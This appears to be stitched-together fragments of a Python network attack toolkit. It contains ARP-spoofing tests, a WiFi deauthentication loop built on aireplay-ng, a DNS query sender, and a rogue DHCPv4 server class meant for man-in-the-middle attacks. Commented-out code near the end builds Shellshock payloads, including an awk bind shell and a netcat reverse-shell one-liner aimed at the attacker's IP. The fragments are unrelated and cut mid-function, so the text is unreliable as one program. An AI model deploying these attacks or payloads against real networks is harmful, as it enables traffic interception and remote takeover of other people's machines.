if isfile(self.tshark_pcap_filename):
remove(self.tshark_pcap_filename)
self.assertTrue(find_spoof_packet)
def test02_main_requests(self):
find_spoof_packet: bool = False
arp_spoof: ArpSpoof = ArpSpoof(
network_interface=self.variables.your.network_interface)
self.thread_manager.add_task(arp_spoof.start,
self.variables.router.ipv4_address,
self.variables.target.ipv4_address,
self.variables.target.mac_address, False,
False, False, True, False)
command = self.variables.tshark_executable + \
' -i "' + self.variables.your.network_interface + \
'" -f "ether src ' + self.variables.your.mac_address + \
' and ether dst ' + self.variables.target.mac_address + \
' and arp" -B 65535 -w "' + self.tshark_pcap_filename + '"'
if self.base.get_platform().startswith('Darwin'):
Popen([command], shell=True, stdout=PIPE, stderr=STDOUT)
else:
Popen(command, shell=True, stdout=PIPE, stderr=STDOUT)
sleep(5)
self.thread_manager.close()
if self.base.get_platform().startswith('Windows'):
self.base.kill_process_by_name(process_name='tshark.exe')
else:
self.base.kill_process_by_name(process_name='tshark')
self.assertTrue(isfile(self.tshark_pcap_filename))
try:
packets = rdpcap(self.tshark_pcap_filename)
for packet in packets:
if packet.haslayer(ARP):
arp_packet = packet[ARP]
self.base.print_info('ARP opcode: ', str(arp_packet.op))
self.base.print_info('ARP sender MAC: ', arp_packet.hwsrc)
self.base.print_info('ARP target MAC: ', arp_packet.hwdst)
self.base.print_info('ARP sender IP: ', arp_packet.psrc)
self.base.print_info('ARP target IP: ', arp_packet.pdst)
if arp_packet.hwsrc == self.variables.your.mac_address and \
arp_packet.hwdst == '00:00:00:00:00:00' and \
arp_packet.psrc == self.variables.router.ipv4_address and \
arp_packet.op == 1:
find_spoof_packet = True
break
except ValueError:
pass
except FileNotFoundError:
pass
if isfile(self.tshark_pcap_filename):
remove(self.tshark_pcap_filename)
self.assertTrue(find_spoof_packet)
def test03_main_bad_interface(self):
with self.assertRaises(SystemExit) as result:
with self.context_manager.captured_output() as (out, err):
ArpSpoof(
network_interface=self.variables.bad.network_interface)
arp_spoof_output: str = out.getvalue()
print(arp_spoof_output)
self.assertEqual(result.exception.code, 1)
self.assertIn(self.variables.bad.network_interface, arp_spoof_output)
def test04_main_bad_gateway_ip(self):
with self.assertRaises(SystemExit) as result:
with self.context_manager.captured_output() as (out, err):
arp_spoof: ArpSpoof = ArpSpoof(
network_interface=self.variables.your.network_interface)
arp_spoof.start(
gateway_ipv4_address=self.variables.bad.ipv4_address)
arp_spoof_output: str = out.getvalue()
print(arp_spoof_output)
self.assertEqual(result.exception.code, 1)
self.assertIn(self.variables.bad.ipv4_address, arp_spoof_output)
def test05_main_bad_target_ip(self):
with self.assertRaises(SystemExit) as result:
with self.context_manager.captured_output() as (out, err):
arp_spoof: ArpSpoof = ArpSpoof(
network_interface=self.variables.your.network_interface)
arp_spoof.start(
gateway_ipv4_address=self.variables.router.ipv4_address,
target_ipv4_address=self.variables.bad.ipv4_address)
arp_spoof_output: str = out.getvalue()
print(arp_spoof_output)
self.assertEqual(result.exception.code, 1)
self.assertIn(self.variables.bad.ipv4_address, arp_spoof_output)
def test06_main_bad_target_mac(self):
with self.assertRaises(SystemExit) as result:
with self.context_manager.captured_output() as (out, err):
arp_spoof: ArpSpoof = ArpSpoof(
network_interface=self.variables.your.network_interface)
arp_spoof.start(
gateway_ipv4_address=self.variables.router.ipv4_address,
target_ipv4_address=self.variables.target.ipv4_address,
target_mac_address=self.variables.bad.mac_address)
arp_spoof_output: str = out.getvalue()
print(arp_spoof_output)
self.assertEqual(result.exception.code, 1)
self.assertIn(self.variables.bad.mac_address, arp_spoof_output)
def get_mac_address(self,
network_interface: str = 'eth0',
target_ip_address: str = '192.168.0.1',
timeout: int = 5,
retry: int = 5,
exit_on_failure: bool = True,
show_scan_percentage: bool = True) -> str:
"""
Get MAC address of IP address on network interface
:param network_interface: Network interface name (example: 'eth0')
:param timeout: Timeout in seconds (default: 3)
:param retry: Retry number (default: 3)
:param target_ip_address: Target IPv4 address (example: 192.168.0.1)
:param exit_on_failure: Exit if MAC address of target IP address not found (default: True)
:param show_scan_percentage: Show ARP scan progress percentage (default: True)
:return: MAC address of target IP address (example: '01:23:45:67:89:0a')
"""
# region Set result MAC address value
result_mac_address = 'ff:ff:ff:ff:ff:ff'
# endregion
try:
# region Clear lists with scan results
self.results.clear()
self.unique_results.clear()
self.mac_addresses.clear()
# endregion
# region Set variables
self.quit = not show_scan_percentage
self.target_ip_address = target_ip_address
self.network_interface = network_interface
self.timeout = int(timeout)
self.retry_number = int(retry)
# endregion
# region Run _sniffer
tm = ThreadManager(2)
tm.add_task(self._sniff)
# endregion
# region Run sender
self._send()
# endregion
# region Wait
sleep(self.timeout)
# endregion
# region Return
if 'mac-address' in self.results[0].keys():
result_mac_address = self.results[0]['mac-address']
# endregion
except IndexError:
pass
except KeyboardInterrupt:
self.base.print_info('Exit')
exit(0)
if result_mac_address == 'ff:ff:ff:ff:ff:ff':
if exit_on_failure:
self.base.print_error(
'Could not find MAC address of IP address: ',
target_ip_address)
exit(1)
return result_mac_address
def scan(self,
network_interface: str = 'eth0',
timeout: int = 3,
retry: int = 3,
target_mac_address: Union[None, str] = None,
check_vendor: bool = True,
exit_on_failure: bool = True) -> List[Dict[str, str]]:
"""
Find alive IPv6 hosts in local network with echo (ping) request packets
:param network_interface: Network interface name (example: 'eth0')
:param timeout: Timeout in seconds (default: 3)
:param retry: Retry number (default: 3)
:param target_mac_address: Target MAC address (example: 192.168.0.1)
:param check_vendor: Check vendor of hosts (default: True)
:param exit_on_failure: Exit if alive IPv6 hosts in network not found (default: True)
:return: List of alive hosts in network (example: [{'mac-address': '01:23:45:67:89:0a', 'ip-address': 'fe80::1234:5678:90ab:cdef', 'vendor': 'Apple, Inc.'}])
"""
# region Clear lists with scan results
self.results.clear()
self.unique_results.clear()
self.mac_addresses.clear()
# endregion
# region Set variables
if target_mac_address is not None:
self.base.mac_address_validation(mac_address=target_mac_address,
exit_on_failure=True)
self.target_mac_address = target_mac_address
self.network_interface = network_interface
self.timeout = int(timeout)
self.retry_number = int(retry)
self.icmpv6_identifier = randint(1, 65535)
# endregion
# region Run _sniffer
tm = ThreadManager(2)
tm.add_task(self._sniff)
# endregion
# region Run _sender
self._send()
# endregion
# region Wait
sleep(self.timeout)
# endregion
# region Unique results
for index in range(len(self.results)):
if self.results[index]['mac-address'] not in self.mac_addresses:
self.unique_results.append(self.results[index])
self.mac_addresses.append(self.results[index]['mac-address'])
# endregion
# region Get vendors
if check_vendor:
for result_index in range(len(self.unique_results)):
self.unique_results[result_index]['vendor'] = \
self.base.get_vendor_by_mac_address(self.unique_results[result_index]['mac-address'])
# endregion
# region Return results
if len(self.unique_results) == 0:
if exit_on_failure:
self.base.error_text(
'Could not found alive IPv6 hosts on interface: ' +
self.network_interface)
exit(1)
return self.unique_results
def _send_queries(
self,
send_socket, # type: socket
source_mac_address, # type: str
source_ipv4_address, # type: str
source_ipv6_address, # type: str
domain, # type: str
ns_servers, # type: List[Dict[str, str]]
destination_port=53, # type: int
max_threats_count=9, # type: int
subdomains=['www'], # type: List[str]
queries_type=[1, 28], # type: List[int]
queries_class=[1] # type: List[int]
):
# type: (...) -> None
"""
Send DNS queries to IPv4/IPv6 DNS servers
:param send_socket: Raw socket for sending DNS queries
:param source_mac_address: Source MAC address for DNS query (most likely this is MAC address on your network interface)
:param source_ipv4_address: Source IPv4 address for DNS query (most likely this is IPv4 address on your network interface)
:param source_ipv6_address: Source IPv6 address for DNS query (most likely this is IPv6 address on your network interface)
:param domain: Target domain (example: 'test.com')
:param ns_servers: List of DNS servers (example: [{'ipv4 address': '8.8.8.8', 'mac address': '01:23:45:67:89:0a'}])
:param destination_port: UDP destination port (default: 53)
:param max_threats_count: Maximum threats count (default: 9)
:param subdomains: List of subdomains (default: ['www'])
:param queries_type: List of queries type (default: [1, 28]; type 1: A, type 28: AAAA)
:param queries_class: List of queries class (default: [1]; class 1: IN)
:return: None
"""
# DNS query type: 1 (A)
# DNS query type: 28 (AAAA)
# DNS query class: 1 (IN)
# region Init threat manager
send_threats = ThreadManager(max_threats_count)
# endregion
# region Make DNS queries list
queries = list()
for subdomain in subdomains:
for query_type in queries_type:
for query_class in queries_class:
queries.append({
'type': query_type,
'class': query_class,
'name': subdomain + '.' + domain
})
# endregion
# region Calculate number of DNS queries for one threat
queries_len = len(queries)
ipv4_ns_servers_len = 0
ipv6_ns_servers_len = 0
for ns_server in ns_servers:
if 'ipv4 address' in ns_server.keys():
ipv4_ns_servers_len += 1
if 'ipv6 address' in ns_server.keys():
ipv6_ns_servers_len += 1
if source_ipv6_address is not None:
queries_len_for_threat = int(
(queries_len * (ipv4_ns_servers_len + ipv6_ns_servers_len)) /
max_threats_count) + 1
else:
queries_len_for_threat = int(
(queries_len * ipv4_ns_servers_len) / max_threats_count) + 1
# endregion
# region Send DNS queries
# region Send DNS queries to IPv4 NS servers
for ns_server in ns_servers:
if 'ipv4 address' in ns_server.keys():
for query_index in range(0, queries_len,
queries_len_for_threat):
send_threats.add_task(
self._send_ipv4_queries, source_mac_address,
source_ipv4_address, ns_server['mac address'],
ns_server['ipv4 address'], destination_port,
queries[query_index:query_index +
queries_len_for_threat], send_socket)
# endregion
# region Send DNS queries to IPv6 NS servers
if source_ipv6_address is not None:
for ns_server in ns_servers:
if 'ipv6 address' in ns_server.keys():
for query_index in range(0, queries_len,
queries_len_for_threat):
send_threats.add_task(
self._send_ipv6_queries, source_mac_address,
source_ipv6_address, ns_server['mac address'],
ns_server['ipv6 address'], destination_port,
queries[query_index:query_index +
queries_len_for_threat], send_socket)
# endregion
# endregion
# region Wait all threats
send_threats.wait_for_completion()
def deauth_packets_send(network_interface, network_channel, network_bssid,
mac_address, number_of_deauth):
global aireply_stop
# Start target requests sniffer function
tm = ThreadManager(2)
tm.add_task(requests_sniffer, mac_address)
# Set WiFi channel on interface for send WiFi deauth packets
sub.Popen(
['iwconfig ' + network_interface + ' channel ' + network_channel],
shell=True)
# Start deauth packets numbers
deauth_packets_number = number_of_deauth
aireply_stop = False
while deauth_packets_number < 50:
# Check global variable aireplay_stop
if aireply_stop:
Base.print_info("Stop aireplay-ng ...")
break
# Start aireplay-ng process
try:
Base.print_info("Send WiFi deauth packets in aireplay-ng ...")
aireplay_process = sub.Popen([
'aireplay-ng ' + network_interface + ' -0 ' +
str(deauth_packets_number) + ' -a ' + network_bssid + ' -c ' +
mac_address
],
shell=True,
stdout=sub.PIPE)
while True:
output = aireplay_process.stdout.readline()
if output == '' and aireplay_process.poll() is not None:
break
if output:
stdout.write(
re.sub(r'(\d\d:\d\d:\d\d (Waiting|Sending))',
Base.c_info + r'\g<1>', output))
except OSError as e:
if e.errno == errno.ENOENT:
Base.print_error("Program: ", "aireply-ng",
" is not installed!")
exit(1)
else:
Base.print_error(
"Something else went wrong while trying to run ",
"`aireply-ng`")
exit(2)
# Wait before sniff request packet from target
Base.print_info("Wait 10 sec. before sniff packets from target: " +
mac_address)
sleep(10)
# Add 5 packets to number of WiFi deauth packets
deauth_packets_number += 5
class DHCPv4Server:
# region Set properties
_base: Base = Base()
_utils: Utils = Utils()
_sniff: RawSniff = RawSniff()
_arp: RawARP = RawARP()
_eth: RawEthernet = RawEthernet()
_dhcpv4: RawDHCPv4 = RawDHCPv4()
_thread_manager: ThreadManager = ThreadManager(10)
_your: Dict[str, Union[None, str]] = {
'network-interface': None,
'mac-address': None,
'ipv4-address': None
}
_target: Dict[str, Union[None, str]] = {
'mac-address': None,
'ipv4-address': None
}
_domain_search: Union[None, bytes] = None
_free_ip_addresses: List[str] = list()
_clients: Dict[str, Union[str, Dict[str, Union[bool, str]]]] = dict()
_lease_time: int = 172800
_shellshock_option_code: int = 114
_discover_sender_is_work: bool = False
_discover_sender_delay: float = 0.25
_send_dhcp_discover_packets: bool = False
_send_dhcp_offer_packets: bool = True
_send_broadcast_dhcp_response: bool = False
_exit_on_success: bool = False
_apple: bool = False
_quiet: bool = True
# endregion
# region Init
def __init__(self, network_interface: str):
self._your = self._base.get_interface_settings(
interface_name=network_interface,
required_parameters=[
'mac-address', 'ipv4-address', 'ipv4-netmask',
'first-ipv4-address', 'second-ipv4-address',
'penultimate-ipv4-address', 'last-ipv4-address'
])
self._ipv4_network_mask: str = self._your['ipv4-netmask']
self._first_offer_ipv4_address: str = self._your['second-ipv4-address']
self._last_offer_ipv4_address: str = self._your[
'penultimate-ipv4-address']
self._dhcp_server_mac_address: str = self._your['mac-address']
self._dhcp_server_ipv4_address: str = self._your['ipv4-address']
self._dns_server_ipv4_address: str = self._your['ipv4-address']
self._tftp_server_ipv4_address: str = self._your['ipv4-address']
self._wins_server_ipv4_address: str = self._your['ipv4-address']
self._router_ipv4_address: str = self._your['ipv4-address']
self._raw_send: RawSend = RawSend(network_interface=network_interface)
# endregion
# region Start DHCPv4 server
def start(self,
target_mac_address: Union[None, str] = None,
target_ipv4_address: Union[None, str] = None,
ipv4_network_mask: Union[None, str] = None,
first_offer_ipv4_address: Union[None, str] = None,
last_offer_ipv4_address: Union[None, str] = None,
dhcp_server_mac_address: Union[None, str] = None,
dhcp_server_ipv4_address: Union[None, str] = None,
dns_server_ipv4_address: Union[None, str] = None,
tftp_server_ipv4_address: Union[None, str] = None,
wins_server_ipv4_address: Union[None, str] = None,
router_ipv4_address: Union[None, str] = None,
domain_search: str = 'domain.local',
lease_time: int = 172800,
shellshock_option_code: int = 114,
send_dhcp_discover_packets: bool = False,
send_dhcp_offer_packets: bool = False,
send_broadcast_dhcp_response: bool = False,
exit_on_success: bool = False,
apple: bool = False,
quiet: bool = False):
# region Set variables
self._lease_time = lease_time
self._domain_search = domain_search.encode('utf-8')
self._send_dhcp_discover_packets = send_dhcp_discover_packets
self._send_dhcp_offer_packets = send_dhcp_offer_packets
self._send_broadcast_dhcp_response = send_broadcast_dhcp_response
self._exit_on_success = exit_on_success
self._apple = apple
self._quiet = quiet
# endregion
# region Get your network settings
if ipv4_network_mask is not None:
self._ipv4_network_mask = ipv4_network_mask
# endregion
# region Set target MAC and IP address, if target IP is not set - get first and last offer IP
# region Target MAC address is set
if target_mac_address is not None:
self._target['mac-address'] = self._utils.check_mac_address(
mac_address=target_mac_address,
parameter_name='target MAC address')
# endregion
# region Target IP is set
if target_ipv4_address is not None:
assert self._target['mac-address'] is not None, \
'Please set target MAC address' + \
', for target IP address: ' + self._base.info_text(target_ipv4_address)
self._target['ipv4-address'] = \
self._utils.check_ipv4_address(network_interface=self._your['network-interface'],
ipv4_address=target_ipv4_address,
parameter_name='target IPv4 address')
# endregion
# region Target IP is not set - get first and last offer IP
else:
# Check first offer IP address
if first_offer_ipv4_address is not None:
self._first_offer_ipv4_address = \
self._utils.check_ipv4_address(network_interface=self._your['network-interface'],
ipv4_address=first_offer_ipv4_address,
parameter_name='first offer IPv4 address')
# Check last offer IP address
if last_offer_ipv4_address is not None:
self._last_offer_ipv4_address = \
self._utils.check_ipv4_address(network_interface=self._your['network-interface'],
ipv4_address=last_offer_ipv4_address,
parameter_name='last offer IPv4 address')
# endregion
# endregion
# region Set DHCP sever MAC and IP address
if dhcp_server_mac_address is not None:
self._dhcp_server_mac_address = \
self._utils.check_mac_address(mac_address=dhcp_server_mac_address,
parameter_name='DHCPv4 server MAC address')
if dhcp_server_ipv4_address is not None:
self._dhcp_server_ipv4_address = \
self._utils.check_ipv4_address(network_interface=self._your['network-interface'],
ipv4_address=dhcp_server_ipv4_address,
parameter_name='DHCPv4 server IPv4 address')
# endregion
# region Set router, dns, tftp, wins IP address
# region Set router IP address
if router_ipv4_address is not None:
self._router_ipv4_address = \
self._utils.check_ipv4_address(network_interface=self._your['network-interface'],
ipv4_address=dhcp_server_ipv4_address,
parameter_name='router IPv4 address')
# endregion
# region Set DNS server IP address
if dns_server_ipv4_address is not None:
assert self._base.ip_address_validation(dns_server_ipv4_address), \
'Bad DNS server IPv4 address: ' + self._base.info_text(dns_server_ipv4_address)
self._dns_server_ipv4_address = dns_server_ipv4_address
# endregion
# region Set TFTP server IP address
if tftp_server_ipv4_address is not None:
self._tftp_server_ipv4_address = \
self._utils.check_ipv4_address(network_interface=self._your['network-interface'],
ipv4_address=tftp_server_ipv4_address,
parameter_name='TFTP server IPv4 address')
# endregion
# region Set WINS server IP address
if wins_server_ipv4_address is not None:
self._wins_server_ipv4_address = \
self._utils.check_ipv4_address(network_interface=self._your['network-interface'],
ipv4_address=tftp_server_ipv4_address,
parameter_name='WINS server IPv4 address')
# endregion
# endregion
# region Set Shellshock option code
if 255 < shellshock_option_code < 0:
self._base.print_error(
'Bad Shellshock option code: ', str(shellshock_option_code),
'; This value should be in the range from 1 to 254')
exit(1)
else:
self._shellshock_option_code = shellshock_option_code
# endregion
# region General output
if not self._quiet:
self._base.print_info('Network interface: ',
self._your['network-interface'])
self._base.print_info('Your IP address: ',
self._your['ipv4-address'])
self._base.print_info('Your MAC address: ',
self._your['mac-address'])
if self._target['mac-address'] is not None:
self._base.print_info('Target MAC: ',
self._target['mac-address'])
# If target IP address is set print target IP, else print first and last offer IP
if self._target['ipv4-address'] is not None:
self._base.print_info('Target IP: ',
self._target['ipv4-address'])
else:
self._base.print_info('First offer IP: ',
self._first_offer_ipv4_address)
self._base.print_info('Last offer IP: ',
self._last_offer_ipv4_address)
self._base.print_info('DHCP server mac address: ',
self._dhcp_server_mac_address)
self._base.print_info('DHCP server ip address: ',
self._dhcp_server_ipv4_address)
self._base.print_info('Router IP address: ',
self._router_ipv4_address)
self._base.print_info('DNS server IP address: ',
self._dns_server_ipv4_address)
self._base.print_info('TFTP server IP address: ',
self._tftp_server_ipv4_address)
self._base.print_info('WINS server IP address: ',
self._wins_server_ipv4_address)
# endregion
# region Add ip addresses in list with free ip addresses from first to last offer IP
if self._target['ipv4-address'] is None:
self._base.print_info(
'Create list with free IP addresses in your network ...')
self._free_ip_addresses = \
self._utils.get_free_ipv4_addresses(network_interface=self._your['network-interface'],
first_ipv4_address=self._first_offer_ipv4_address,
last_ipv4_address=last_offer_ipv4_address,
quiet=self._quiet)
# endregion
# region Send DHCP discover packets in the background thread
if self._send_dhcp_discover_packets:
if not self._quiet:
self._base.print_info(
'Start DHCP discover packets send in the background thread ...'
)
self._base.print_info('Delay between DHCP discover packets: ',
str(self._discover_sender_delay))
self._thread_manager.add_task(self._discover_sender)
# endregion
# region Sniff network
# region Print info message
self._base.print_info('Waiting for a ARP or DHCP requests ...')
# endregion
# region Set sniff filters
sniff_filters: Dict = {
'Ethernet': {
'not-source': self._your['mac-address']
},
'ARP': {
'opcode': 1
},
'UDP': {
'destination-port': 67,
'source-port': 68
}
}
scapy_lfilter: Any = lambda eth: eth.src != self._your['mac-address']
if self._target['mac-address'] is not None:
sniff_filters['Ethernet'] = {'source': self._target['mac-address']}
scapy_lfilter: Any = lambda eth: eth.src == self._target[
'mac-address']
# endregion
# region Start sniffer
self._sniff.start(protocols=['ARP', 'IPv4', 'UDP', 'DHCPv4'],
prn=self._reply,
filters=sniff_filters,
network_interface=self._your['network-interface'],
scapy_filter='arp or (udp and (port 67 or 68))',
scapy_lfilter=scapy_lfilter)
# endregion
# endregion
# endregion
# region Add client info in clients dictionary
def _add_client_info_in_dictionary(
self,
client_mac_address: str,
client_info: Union[bool, str, Dict[str, Union[bool, str]]],
this_client_already_in_dictionary: bool = False) -> None:
if this_client_already_in_dictionary:
self._clients[client_mac_address].update(client_info)
else:
self._clients[client_mac_address] = client_info
# endregion
# region Make DHCP offer packet
def _make_dhcp_offer_packet(
self,
transaction_id: int,
offer_ip: str,
client_mac: str,
destination_mac: Union[None, str] = None,
destination_ip: Union[None, str] = None) -> Union[None, bytes]:
if destination_mac is None:
destination_mac = 'ff:ff:ff:ff:ff:ff'
if destination_ip is None:
destination_ip = '255.255.255.255'
return self._dhcpv4.make_response_packet(
ethernet_src_mac=self._dhcp_server_mac_address,
ethernet_dst_mac=destination_mac,
ip_src=self._dhcp_server_ipv4_address,
ip_dst=destination_ip,
transaction_id=transaction_id,
dhcp_message_type=2,
your_client_ip=offer_ip,
client_mac=client_mac,
dhcp_server_id=self._dhcp_server_ipv4_address,
lease_time=self._lease_time,
netmask=self._ipv4_network_mask,
router=self._router_ipv4_address,
dns=self._dns_server_ipv4_address,
payload=None)
# endregion
# region Make DHCP ack packet
def _make_dhcp_ack_packet(
self,
transaction_id: int,
target_mac: str,
target_ip: str,
destination_mac: Union[None, str] = None,
destination_ip: Union[None, str] = None,
shellshock_payload: Union[None, str] = None) -> Union[None, bytes]:
if destination_mac is None:
destination_mac: str = 'ff:ff:ff:ff:ff:ff'
if destination_ip is None:
destination_ip: str = '255.255.255.255'
return self._dhcpv4.make_response_packet(
ethernet_src_mac=self._dhcp_server_mac_address,
ethernet_dst_mac=destination_mac,
ip_src=self._dhcp_server_ipv4_address,
ip_dst=destination_ip,
transaction_id=transaction_id,
dhcp_message_type=5,
your_client_ip=target_ip,
client_mac=target_mac,
dhcp_server_id=self._dhcp_server_ipv4_address,
lease_time=self._lease_time,
netmask=self._ipv4_network_mask,
router=self._router_ipv4_address,
dns=self._dns_server_ipv4_address,
payload=shellshock_payload,
payload_option_code=self._shellshock_option_code,
domain=self._domain_search,
tftp=self._tftp_server_ipv4_address,
wins=self._wins_server_ipv4_address)
# endregion
# region Make DHCP nak packet
def _make_dhcp_nak_packet(self, transaction_id: int, target_mac: str,
target_ip: str,
requested_ip: str) -> Union[None, bytes]:
return self._dhcpv4.make_nak_packet(
ethernet_src_mac=self._dhcp_server_mac_address,
ethernet_dst_mac=target_mac,
ip_src=self._dhcp_server_ipv4_address,
ip_dst=requested_ip,
transaction_id=transaction_id,
your_client_ip=target_ip,
client_mac=target_mac,
dhcp_server_id=self._dhcp_server_ipv4_address)
# endregion
# region Send DHCP discover packets
def _discover_sender(self, number_of_packets=999999) -> None:
packet_index = 0
self._discover_sender_is_work = True
while packet_index < number_of_packets:
try:
self._raw_send.send_packet(
self._dhcpv4.make_discover_packet(
ethernet_src_mac=self._your['mac-address'],
client_mac=self._eth.make_random_mac(),
host_name=self._base.make_random_string(),
relay_agent_ip=self._your['ipv4-address']))
sleep(self._discover_sender_delay)
except TypeError:
self._base.print_error(
'Something went wrong when sending DHCP discover packets!')
break
packet_index += 1
self._discover_sender_is_work = False
# endregion
# region Reply to DHCPv4 and ARP requests
def _reply(self, packet):
# region DHCP
if 'DHCPv4' in packet.keys():
# region Get transaction id and client MAC address
transaction_id = packet['BOOTP']['transaction-id']
client_mac_address = packet['BOOTP']['client-mac-address']
# endregion
# region Check this client already in dict
client_already_in_dictionary = False
if client_mac_address in self._clients.keys():
client_already_in_dictionary = True
# endregion
# region DHCP DISCOVER
if packet['DHCPv4'][53] == 1:
# region Print INFO message
self._base.print_info('DHCP DISCOVER from: ',
client_mac_address, ' transaction id: ',
hex(transaction_id))
# endregion
# If parameter 'Do not send DHCP OFFER packets' is not set
if not self._send_dhcp_offer_packets:
# region Start DHCP discover sender
if self._send_dhcp_discover_packets:
if not self._discover_sender_is_work:
self._discover_sender(100)
# endregion
# If target IP address is set - offer IP = target IP
if self._target['ipv4-address'] is not None:
offer_ip_address = self._target['ipv4-address']
# If target IP address is not set - offer IP = random IP from free IP addresses list
else:
random_index = randint(0, len(self._free_ip_addresses))
offer_ip_address = self._free_ip_addresses[
random_index]
# Delete offer IP from free IP addresses list
del self._free_ip_addresses[random_index]
if self._send_broadcast_dhcp_response:
offer_packet = \
self._make_dhcp_offer_packet(transaction_id, offer_ip_address, client_mac_address)
else:
offer_packet = \
self._make_dhcp_offer_packet(transaction_id, offer_ip_address, client_mac_address,
client_mac_address, offer_ip_address)
self._raw_send.send_packet(offer_packet)
# Add client info in global self._clients dictionary
self._add_client_info_in_dictionary(
client_mac_address, {
'transaction': transaction_id,
'discover': True,
'offer_ip': offer_ip_address
}, client_already_in_dictionary)
# Print INFO message
self._base.print_info('DHCP OFFER to: ',
client_mac_address, ' offer IP: ',
offer_ip_address)
# endregion
# region DHCP RELEASE
if packet['DHCPv4'][53] == 7:
if packet['BOOTP']['client-ip-address'] is not None:
client_ip = packet['BOOTP']['client-ip-address']
self._base.print_info(
'DHCP RELEASE from: ',
client_ip + ' (' + client_mac_address + ')',
' transaction id: ', hex(transaction_id))
# Add client info in global self._clients dictionary
self._add_client_info_in_dictionary(
client_mac_address, {'client_ip': client_ip},
client_already_in_dictionary)
# print self._clients
# Add release client IP in free IP addresses list
if client_ip not in self._free_ip_addresses:
self._free_ip_addresses.append(client_ip)
else:
self._base.print_info('DHCP RELEASE from: ',
client_mac_address,
' transaction id: ',
hex(transaction_id))
# Add client info in global self._clients dictionary
self._add_client_info_in_dictionary(
client_mac_address, {'release': True},
client_already_in_dictionary)
# print self._clients
# endregion
# region DHCP INFORM
if packet['DHCPv4'][53] == 8:
if packet['BOOTP']['client-ip-address'] is not None:
client_ip = packet['BOOTP']['client-ip-address']
self._base.print_info(
'DHCP INFORM from: ',
client_ip + ' (' + client_mac_address + ')',
' transaction id: ', hex(transaction_id))
# If client IP in free IP addresses list delete this
if client_ip in self._free_ip_addresses:
self._free_ip_addresses.remove(client_ip)
# Add client info in global self._clients dictionary
self._add_client_info_in_dictionary(
client_mac_address, {'client_ip': client_ip},
client_already_in_dictionary)
# print self._clients
else:
self._base.print_info('DHCP INFORM from: ',
client_mac_address,
' transaction id: ',
hex(transaction_id))
# Add client info in global self._clients dictionary
self._add_client_info_in_dictionary(
client_mac_address, {'inform': True},
client_already_in_dictionary)
# print self._clients
# endregion
# region DHCP REQUEST
if packet['DHCPv4'][53] == 3:
# region Set local variables
requested_ip = '0.0.0.0'
offer_ip = None
# endregion
# region Get requested IP
if 50 in packet['DHCPv4'].keys():
requested_ip = str(packet['DHCPv4'][50])
# endregion
# region Print info message
self._base.print_info('DHCP REQUEST from: ',
client_mac_address, ' transaction id: ',
hex(transaction_id), ' requested ip: ',
requested_ip)
# endregion
# region Requested IP not in range from first offer IP to last offer IP
if not self._base.ip_address_in_range(
requested_ip, self._first_offer_ipv4_address,
self._last_offer_ipv4_address):
self._base.print_warning(
'Client: ', client_mac_address, ' requested IP: ',
requested_ip, ' not in range: ',
self._first_offer_ipv4_address + ' - ' +
self._last_offer_ipv4_address)
# endregion
# region Requested IP in range from first offer IP to last offer IP
else:
# region Start DHCP discover sender
if self._send_dhcp_discover_packets:
if not self._discover_sender_is_work:
self._discover_sender(100)
# endregion
# region Change client info in global self._clients dictionary
# Add client info in global self._clients dictionary
self._add_client_info_in_dictionary(
client_mac_address, {
'packet': True,
'requested_ip': requested_ip,
'transaction': transaction_id
}, client_already_in_dictionary)
# Delete ARP mitm success keys in dictionary for this client
self._clients[client_mac_address].pop(
'client request his ip', None)
self._clients[client_mac_address].pop(
'client request router ip', None)
self._clients[client_mac_address].pop(
'client request dns ip', None)
# endregion
# region Get offer IP address
try:
offer_ip = self._clients[client_mac_address][
'offer_ip']
except KeyError:
pass
# endregion
# region This client already send DHCP DISCOVER and offer IP != requested IP
if offer_ip is not None and offer_ip != requested_ip:
# Print error message
self._base.print_error('Client: ', client_mac_address,
' requested IP: ', requested_ip,
' not like offer IP: ',
offer_ip)
# Create and send DHCP nak packet
nak_packet = \
self._make_dhcp_nak_packet(transaction_id, client_mac_address, offer_ip, requested_ip)
self._raw_send.send_packet(nak_packet)
self._base.print_info('DHCP NAK to: ',
client_mac_address,
' requested ip: ', requested_ip)
# Add client info in global self._clients dictionary
self._add_client_info_in_dictionary(
client_mac_address, {
'mitm':
'error: offer ip not like requested ip',
'offer_ip': None
}, client_already_in_dictionary)
# print self._clients
# endregion
# region Offer IP == requested IP or this is a first packet from this client
else:
# region Target IP address is set and requested IP != target IP
if self._target[
'ipv4-address'] is not None and requested_ip != self._target[
'ipv4-address']:
# Print error message
self._base.print_error(
'Client: ', client_mac_address,
' requested IP: ', requested_ip,
' not like target IP: ',
self._target['ipv4-address'])
# Create and send DHCP nak packet
nak_packet = self._make_dhcp_nak_packet(
transaction_id, client_mac_address,
self._target['ipv4-address'], requested_ip)
self._raw_send.send_packet(nak_packet)
self._base.print_info('DHCP NAK to: ',
client_mac_address,
' requested ip: ',
requested_ip)
# Add client info in global self._clients dictionary
self._add_client_info_in_dictionary(
client_mac_address, {
'mitm':
'error: target ip not like requested ip',
'offer_ip': None,
'nak': True
}, client_already_in_dictionary)
# endregion
# region Target IP address is set and requested IP == target IP or Target IP is not set
else:
# # region Settings shellshock payload
# payload: Union[None, str] = None
# shellshock_payload: Union[None, str] = None
#
# try:
# assert args.shellshock_command is not None \
# or args.bind_shell \
# or args.nc_reverse_shell \
# or args.nce_reverse_shell \
# or args.bash_reverse_shell, 'ShellShock not used!'
# # region Create payload
#
# # Network settings command in target machine
# net_settings = args.ip_path + 'ip addr add ' + requested_ip + '/' + \
# str(IPAddress(self._ipv4_network_mask).netmask_bits()) + \
# ' dev ' + args.iface_name + ';'
#
# # Shellshock payload: <user bash command>
# if args.shellshock_command is not None:
# payload = args.shellshock_command
#
# # Shellshock payload:
# # awk 'BEGIN{s='/inet/tcp/<bind_port>/0/0';for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}' &
# if args.bind_shell:
# payload = 'awk \'BEGIN{s=\'/inet/tcp/' + str(args.bind_port) + \
# '/0/0\';for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}\' &'
#
# # Shellshock payload:
# # rm /tmp/f 2>/dev/null;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <your_ip> <your_port> >/tmp/f &
# if args.nc_reverse_shell:
# payload = 'rm /tmp/f 2>/dev/null;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ' + \
# your_ip_address + ' ' + str(args.reverse_port) + ' >/tmp/f &'
#
# # Shellshock payload:
